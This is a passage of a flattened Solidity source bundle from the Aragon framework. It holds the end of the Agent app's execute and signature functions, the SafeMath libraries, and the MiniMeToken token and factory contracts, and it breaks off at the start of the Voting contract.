* @param _ethValue Amount of ETH from the contract that is sent with the action
* @param _data Calldata for the action
* @return Exits call frame forwarding the return data of the executed call (either error or success data)
*/
function execute(address _target, uint256 _ethValue, bytes _data)
external // This function MUST always be external as the function performs a low level return, exiting the Agent app execution context
authP(EXECUTE_ROLE, arr(_target, _ethValue, uint256(_getSig(_data)))) // bytes4 casted as uint256 sets the bytes as the LSBs
{
bool result = _target.call.value(_ethValue)(_data);
if (result) {
emit Execute(msg.sender, _target, _ethValue, _data);
}
assembly {
let ptr := mload(0x40)
returndatacopy(ptr, 0, returndatasize)
// revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas.
// if the call returned error data, forward it
switch result case 0 { revert(ptr, returndatasize) }
default { return(ptr, returndatasize) }
}
}
/**
* @notice Execute '`@radspec(_target, _data)`' on `_target` ensuring that protected tokens can't be spent
* @param _target Address where the action is being executed
* @param _data Calldata for the action
* @return Exits call frame forwarding the return data of the executed call (either error or success data)
*/
function safeExecute(address _target, bytes _data)
external // This function MUST always be external as the function performs a low level return, exiting the Agent app execution context
authP(SAFE_EXECUTE_ROLE, arr(_target, uint256(_getSig(_data)))) // bytes4 casted as uint256 sets the bytes as the LSBs
{
uint256 protectedTokensLength = protectedTokens.length;
address[] memory protectedTokens_ = new address[](protectedTokensLength);
uint256[] memory balances = new uint256[](protectedTokensLength);
for (uint256 i = 0; i < protectedTokensLength; i++) {
address token = protectedTokens[i];
require(_target != token, ERROR_TARGET_PROTECTED);
// we copy the protected tokens array to check whether the storage array has been modified during the underlying call
protectedTokens_[i] = token;
// we copy the balances to check whether they have been modified during the underlying call
balances[i] = balance(token);
}
bool result = _target.call(_data);
bytes32 ptr;
uint256 size;
assembly {
size := returndatasize
ptr := mload(0x40)
mstore(0x40, add(ptr, returndatasize))
returndatacopy(ptr, 0, returndatasize)
}
if (result) {
// if the underlying call has succeeded, we check that the protected tokens
// and their balances have not been modified and return the call's return data
require(protectedTokens.length == protectedTokensLength, ERROR_PROTECTED_TOKENS_MODIFIED);
for (uint256 j = 0; j < protectedTokensLength; j++) {
require(protectedTokens[j] == protectedTokens_[j], ERROR_PROTECTED_TOKENS_MODIFIED);
require(balance(protectedTokens[j]) >= balances[j], ERROR_PROTECTED_BALANCE_LOWERED);
}
emit SafeExecute(msg.sender, _target, _data);
assembly {
return(ptr, size)
}
} else {
// if the underlying call has failed, we revert and forward returned error data
assembly {
revert(ptr, size)
}
}
}
/**
* @notice Add `_token.symbol(): string` to the list of protected tokens
* @param _token Address of the token to be protected
*/
function addProtectedToken(address _token) external authP(ADD_PROTECTED_TOKEN_ROLE, arr(_token)) {
require(protectedTokens.length < PROTECTED_TOKENS_CAP, ERROR_TOKENS_CAP_REACHED);
require(_isERC20(_token), ERROR_TOKEN_NOT_ERC20);
require(!_tokenIsProtected(_token), ERROR_TOKEN_ALREADY_PROTECTED);
_addProtectedToken(_token);
}
/**
* @notice Remove `_token.symbol(): string` from the list of protected tokens
* @param _token Address of the token to be unprotected
*/
function removeProtectedToken(address _token) external authP(REMOVE_PROTECTED_TOKEN_ROLE, arr(_token)) {
require(_tokenIsProtected(_token), ERROR_TOKEN_NOT_PROTECTED);
_removeProtectedToken(_token);
}
/**
* @notice Pre-sign hash `_hash`
* @param _hash Hash that will be considered signed regardless of the signature checked with 'isValidSignature()'
*/
function presignHash(bytes32 _hash)
external
authP(ADD_PRESIGNED_HASH_ROLE, arr(_hash))
{
isPresigned[_hash] = true;
emit PresignHash(msg.sender, _hash);
}
/**
* @notice Set `_designatedSigner` as the designated signer of the app, which will be able to sign messages on behalf of the app
* @param _designatedSigner Address that will be able to sign messages on behalf of the app
*/
function setDesignatedSigner(address _designatedSigner)
external
authP(DESIGNATE_SIGNER_ROLE, arr(_designatedSigner))
{
// Prevent an infinite loop by setting the app itself as its designated signer.
// An undetectable loop can be created by setting a different contract as the
// designated signer which calls back into `isValidSignature`.
// Given that `isValidSignature` is always called with just 50k gas, the max
// damage of the loop is wasting 50k gas.
require(_designatedSigner != address(this), ERROR_DESIGNATED_TO_SELF);
address oldDesignatedSigner = designatedSigner;
designatedSigner = _designatedSigner;
emit SetDesignatedSigner(msg.sender, oldDesignatedSigner, _designatedSigner);
}
// Forwarding fns
/**
* @notice Tells whether the Agent app is a forwarder or not
* @dev IForwarder interface conformance
* @return Always true
*/
function isForwarder() external pure returns (bool) {
return true;
}
/**
* @notice Execute the script as the Agent app
* @dev IForwarder interface conformance. Forwards any token holder action.
* @param _evmScript Script being executed
*/
function forward(bytes _evmScript) public {
require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD);
bytes memory input = ""; // no input
address[] memory blacklist = new address[](0); // no addr blacklist, can interact with anything
runScript(_evmScript, input, blacklist);
// We don't need to emit an event here as EVMScriptRunner will emit ScriptResult if successful
}
/**
* @notice Tells whether `_sender` can forward actions or not
* @dev IForwarder interface conformance
* @param _sender Address of the account intending to forward an action
* @return True if the given address can run scripts, false otherwise
*/
function canForward(address _sender, bytes _evmScript) public view returns (bool) {
// Note that `canPerform()` implicitly does an initialization check itself
return canPerform(_sender, RUN_SCRIPT_ROLE, arr(_getScriptACLParam(_evmScript)));
}
// ERC-165 conformance
/**
* @notice Tells whether this contract supports a given ERC-165 interface
* @param _interfaceId Interface bytes to check
* @return True if this contract supports the interface
*/
function supportsInterface(bytes4 _interfaceId) external pure returns (bool) {
return
_interfaceId == ERC1271_INTERFACE_ID ||
_interfaceId == ERC165_INTERFACE_ID;
}
// ERC-1271 conformance
/**
* @notice Tells whether a signature is seen as valid by this contract through ERC-1271
* @param _hash Arbitrary length data signed on the behalf of address (this)
* @param _signature Signature byte array associated with _data
* @return The ERC-1271 magic value if the signature is valid
*/
function isValidSignature(bytes32 _hash, bytes _signature) public view returns (bytes4) {
// Short-circuit in case the hash was presigned. Optimization as performing calls
// and ecrecover is more expensive than an SLOAD.
if (isPresigned[_hash]) {
return returnIsValidSignatureMagicNumber(true);
}
bool isValid;
if (designatedSigner == address(0)) {
isValid = false;
} else {
isValid = SignatureValidator.isValidSignature(_hash, designatedSigner, _signature);
}
return returnIsValidSignatureMagicNumber(isValid);
}
// Getters
function getProtectedTokensLength() public view isInitialized returns (uint256) {
return protectedTokens.length;
}
// Internal fns
function _addProtectedToken(address _token) internal {
protectedTokens.push(_token);
emit AddProtectedToken(_token);
}
function _removeProtectedToken(address _token) internal {
protectedTokens[_protectedTokenIndex(_token)] = protectedTokens[protectedTokens.length - 1];
protectedTokens.length--;
emit RemoveProtectedToken(_token);
}
function _isERC20(address _token) internal view returns (bool) {
if (!isContract(_token)) {
return false;
}
// Throwaway sanity check to make sure the token's `balanceOf()` does not error (for now)
balance(_token);
return true;
}
function _protectedTokenIndex(address _token) internal view returns (uint256) {
for (uint i = 0; i < protectedTokens.length; i++) {
if (protectedTokens[i] == _token) {
return i;
}
}
revert(ERROR_TOKEN_NOT_PROTECTED);
}
function _tokenIsProtected(address _token) internal view returns (bool) {
for (uint256 i = 0; i < protectedTokens.length; i++) {
if (protectedTokens[i] == _token) {
return true;
}
}
return false;
}
function _getScriptACLParam(bytes _evmScript) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(_evmScript)));
}
function _getSig(bytes _data) internal pure returns (bytes4 sig) {
if (_data.length < 4) {
return;
}
assembly { sig := mload(add(_data, 0x20)) }
}
}
// File: @aragon/os/contracts/lib/math/SafeMath.sol
// See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/d51e38758e1d985661534534d5c61e27bece5042/contracts/math/SafeMath.sol
// Adapted to use pragma ^0.4.24 and satisfy our linter rules
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
string private constant ERROR_ADD_OVERFLOW = "MATH_ADD_OVERFLOW";
string private constant ERROR_SUB_UNDERFLOW = "MATH_SUB_UNDERFLOW";
string private constant ERROR_MUL_OVERFLOW = "MATH_MUL_OVERFLOW";
string private constant ERROR_DIV_ZERO = "MATH_DIV_ZERO";
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b, ERROR_MUL_OVERFLOW);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a, ERROR_SUB_UNDERFLOW);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a, ERROR_ADD_OVERFLOW);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, ERROR_DIV_ZERO);
return a % b;
}
}
// File: @aragon/os/contracts/lib/math/SafeMath64.sol
// See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/d51e38758e1d985661534534d5c61e27bece5042/contracts/math/SafeMath.sol
// Adapted for uint64, pragma ^0.4.24, and satisfying our linter rules
// Also optimized the mul() implementation, see https://github.com/aragon/aragonOS/pull/417
pragma solidity ^0.4.24;
/**
* @title SafeMath64
* @dev Math operations for uint64 with safety checks that revert on error
*/
library SafeMath64 {
string private constant ERROR_ADD_OVERFLOW = "MATH64_ADD_OVERFLOW";
string private constant ERROR_SUB_UNDERFLOW = "MATH64_SUB_UNDERFLOW";
string private constant ERROR_MUL_OVERFLOW = "MATH64_MUL_OVERFLOW";
string private constant ERROR_DIV_ZERO = "MATH64_DIV_ZERO";
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint64 _a, uint64 _b) internal pure returns (uint64) {
uint256 c = uint256(_a) * uint256(_b);
require(c < 0x010000000000000000, ERROR_MUL_OVERFLOW); // 2**64 (less gas this way)
return uint64(c);
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint64 _a, uint64 _b) internal pure returns (uint64) {
require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0
uint64 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint64 _a, uint64 _b) internal pure returns (uint64) {
require(_b <= _a, ERROR_SUB_UNDERFLOW);
uint64 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint64 _a, uint64 _b) internal pure returns (uint64) {
uint64 c = _a + _b;
require(c >= _a, ERROR_ADD_OVERFLOW);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint64 a, uint64 b) internal pure returns (uint64) {
require(b != 0, ERROR_DIV_ZERO);
return a % b;
}
}
// File: @aragon/apps-shared-minime/contracts/ITokenController.sol
pragma solidity ^0.4.24;
/// @dev The token controller contract must implement these functions
interface ITokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner) external payable returns(bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) external returns(bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount) external returns(bool);
}
// File: @aragon/apps-shared-minime/contracts/MiniMeToken.sol
pragma solidity ^0.4.24;
/*
Copyright 2016, Jordi Baylina
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/// @title MiniMeToken Contract
/// @author Jordi Baylina
/// @dev This token contract's goal is to make it easy for anyone to clone this
/// token using the token distribution at a given block, this will allow DAO's
/// and DApps to upgrade their features in a decentralized manner without
/// affecting the original token
/// @dev It is ERC20 compliant, but still needs to under go further testing.
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
function Controlled() public { controller = msg.sender;}
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) onlyController public {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 _amount,
address _token,
bytes _data
) public;
}
/// @dev The actual token contract, the default controller is the msg.sender
/// that deploys the contract, so usually this token will be deployed by a
/// token controller contract, which Giveth will call a "Campaign"
contract MiniMeToken is Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
string public version = "MMT_0.1"; //An arbitrary versioning scheme
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the
/// value
struct Checkpoint {
// `fromBlock` is the block number that the value was generated from
uint128 fromBlock;
// `value` is the amount of tokens at a specific block number
uint128 value;
}
// `parentToken` is the Token address that was cloned to produce this token;
// it will be 0x0 for a token that was not cloned
MiniMeToken public parentToken;
// `parentSnapShotBlock` is the block number from the Parent Token that was
// used to determine the initial distribution of the Clone Token
uint public parentSnapShotBlock;
// `creationBlock` is the block number that the Clone Token was created
uint public creationBlock;
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping (address => Checkpoint[]) balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) allowed;
// Tracks the history of the `totalSupply` of the token
Checkpoint[] totalSupplyHistory;
// Flag that determines if the token is transferable or not.
bool public transfersEnabled;
// The factory used to create new clone tokens
MiniMeTokenFactory public tokenFactory;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a MiniMeToken
/// @param _tokenFactory The address of the MiniMeTokenFactory contract that
/// will create the Clone token contracts, the token factory needs to be
/// deployed first
/// @param _parentToken Address of the parent token, set to 0x0 if it is a
/// new token
/// @param _parentSnapShotBlock Block of the parent token that will
/// determine the initial distribution of the clone token, set to 0 if it
/// is a new token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
function MiniMeToken(
MiniMeTokenFactory _tokenFactory,
MiniMeToken _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public
{
tokenFactory = _tokenFactory;
name = _tokenName; // Set the name
decimals = _decimalUnits; // Set the decimals
symbol = _tokenSymbol; // Set the symbol
parentToken = _parentToken;
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
// The controller of this contract can move tokens around at will,
// this is important to recognize! Confirm that you trust the
// controller of this contract, which in most situations should be
// another open source smart contract or 0x0
if (msg.sender != controller) {
require(transfersEnabled);
// The standard ERC 20 transferFrom functionality
if (allowed[_from][msg.sender] < _amount)
return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
// Do not allow transfer to 0x0 or the token contract itself
require((_to != 0) && (_to != address(this)));
// If the amount being transfered is more than the balance of the
// account the transfer returns false
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
// Alerts the token controller of the transfer
if (isContract(controller)) {
// Adding the ` == true` makes the linter shut up so...
require(ITokenController(controller).onTransfer(_from, _to, _amount) == true);
}
// First update the balance array with the new value for the address
// sending the tokens
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
// Then update the balance array with the new value for the address
// receiving the tokens
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
// An event to make the transfer easy to find on the blockchain
Transfer(_from, _to, _amount);
return true;
}
/// @param _owner The address that's balance is being requested
/// @return The balance of `_owner` at the current block
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
// Alerts the token controller of the approve function call
if (isContract(controller)) {
// Adding the ` == true` makes the linter shut up so...
require(ITokenController(controller).onApprove(msg.sender, _spender, _amount) == true);
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(ApproveAndCallFallBack _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
require(approve(_spender, _amount));
_spender.receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
////////////////
// Query balance and totalSupply in History
////////////////
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) {
// These next few lines are used when the balance of the token is
// requested before a check point was ever created for this token, it
// requires that the `parentToken.balanceOfAt` be queried at the
// genesis block for that token as this contains initial balance of
// this token
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
// Has no parent
return 0;
}
// This will return the expected balance during normal situations
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
/// @notice Total amount of tokens at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of tokens at `_blockNumber`
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
// These next few lines are used when the totalSupply of the token is
// requested before a check point was ever created for this token, it
// requires that the `parentToken.totalSupplyAt` be queried at the
// genesis block for this token as that contains totalSupply of this
// token at this block number.
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
// This will return the expected totalSupply during normal situations
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
////////////////
// Clone Token Method
////////////////
/// @notice Creates a new clone token with the initial distribution being
/// this token at `_snapshotBlock`
/// @param _cloneTokenName Name of the clone token
/// @param _cloneDecimalUnits Number of decimals of the smallest unit
/// @param _cloneTokenSymbol Symbol of the clone token
/// @param _snapshotBlock Block when the distribution of the parent token is
/// copied to set the initial distribution of the new clone token;
/// if the block is zero than the actual block, the current block is used
/// @param _transfersEnabled True if transfers are allowed in the clone
/// @return The address of the new MiniMeToken Contract
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(MiniMeToken)
{
uint256 snapshot = _snapshotBlock == 0 ? block.number - 1 : _snapshotBlock;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
snapshot,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
// An event to make the token easy to find on the blockchain
NewCloneToken(address(cloneToken), snapshot);
return cloneToken;
}
////////////////
// Generate and destroy tokens
////////////////
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _owner The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _owner, uint _amount) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint _amount) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
////////////////
// Enable tokens transfers
////////////////
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) onlyController public {
transfersEnabled = _transfersEnabled;
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of tokens at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of tokens being queried
function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) {
if (checkpoints.length == 0)
return 0;
// Shortcut for the actual value
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock)
return 0;
// Binary search of the value in the array
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of tokens
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal {
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1];
oldCheckPoint.value = uint128(_value);
}
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0)
return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
/// @dev Helper function to return a min betwen the two uints
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
/// @notice The fallback function: If the contract's controller has not been
/// set to 0, then the `proxyPayment` method is called which relays the
/// ether and creates tokens as described in the token controller contract
function () external payable {
require(isContract(controller));
// Adding the ` == true` makes the linter shut up so...
require(ITokenController(controller).proxyPayment.value(msg.value)(msg.sender) == true);
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) onlyController public {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
////////////////
// Events
////////////////
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
////////////////
// MiniMeTokenFactory
////////////////
/// @dev This contract is used to generate clone contracts from a contract.
/// In solidity this is the way to create a contract from a contract of the
/// same class
contract MiniMeTokenFactory {
/// @notice Update the DApp by creating a new token with new functionalities
/// the msg.sender becomes the controller of this clone token
/// @param _parentToken Address of the token being cloned
/// @param _snapshotBlock Block of the parent token that will
/// determine the initial distribution of the clone token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
/// @return The address of the new token contract
function createCloneToken(
MiniMeToken _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken)
{
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
// File: @aragon/apps-voting/contracts/Voting.sol
/*
* SPDX-License-Identitifer: GPL-3.0-or-later
*/
pragma solidity 0.4.24;
contract Voting is IForwarder, AragonApp {
using SafeMath for uint256;
using SafeMath64 for uint64;
bytes32 public constant CREATE_VOTES_ROLE = keccak256("CREATE_VOTES_ROLE");
bytes32 public constant MODIFY_SUPPORT_ROLE = keccak256("MODIFY_SUPPORT_ROLE");
bytes32 public constant MODIFY_QUORUM_ROLE = keccak256("MODIFY_QUORUM_ROLE");
uint64 public constant PCT_BASE = 10 ** 18; // 0% = 0; 1% = 10^16; 100% = 10^18
string private constant ERROR_NO_VOTE = "VOTING_NO_VOTE";
string private constant ERROR_INIT_PCTS = "VOTING_INIT_PCTS";
string private constant ERROR_CHANGE_SUPPORT_PCTS = "VOTING_CHANGE_SUPPORT_PCTS";
string private constant ERROR_CHANGE_QUORUM_PCTS = "VOTING_CHANGE_QUORUM_PCTS";
string private constant ERROR_INIT_SUPPORT_TOO_BIG = "VOTING_INIT_SUPPORT_TOO_BIG";
string private constant ERROR_CHANGE_SUPPORT_TOO_BIG = "VOTING_CHANGE_SUPP_TOO_BIG";
string private constant ERROR_CAN_NOT_VOTE = "VOTING_CAN_NOT_VOTE";
string private constant ERROR_CAN_NOT_EXECUTE = "VOTING_CAN_NOT_EXECUTE";
string private constant ERROR_CAN_NOT_FORWARD = "VOTING_CAN_NOT_FORWARD";
string private constant ERROR_NO_VOTING_POWER = "VOTING_NO_VOTING_POWER";
enum VoterState { Absent, Yea, Nay }
struct Vote {
bool executed;
uint64 startDate;
uint64 snapshotBlock;
uint64 supportRequiredPct;
uint64 minAcceptQuorumPct;
uint256 yea;
uint256 nay;
uint256 votingPower;
bytes executionScript;
mapping (address => VoterState) voters;
}
MiniMeToken public token;
uint64 public supportRequiredPct;
uint64 public minAcceptQuorumPct;
uint64 public voteTime;
// We are mimicing an array, we use a mapping instead to make app upgrade more graceful
mapping (uint256 => Vote) internal votes;
uint256 public votesLength;
event StartVote(uint256 indexed voteId, address indexed creator, string metadata);
event CastVote(uint256 indexed voteId, address indexed voter, bool supports, uint256 stake);
event ExecuteVote(uint256 indexed voteId);
event ChangeSupportRequired(uint64 supportRequiredPct);
event ChangeMinQuorum(uint64 minAcceptQuorumPct);
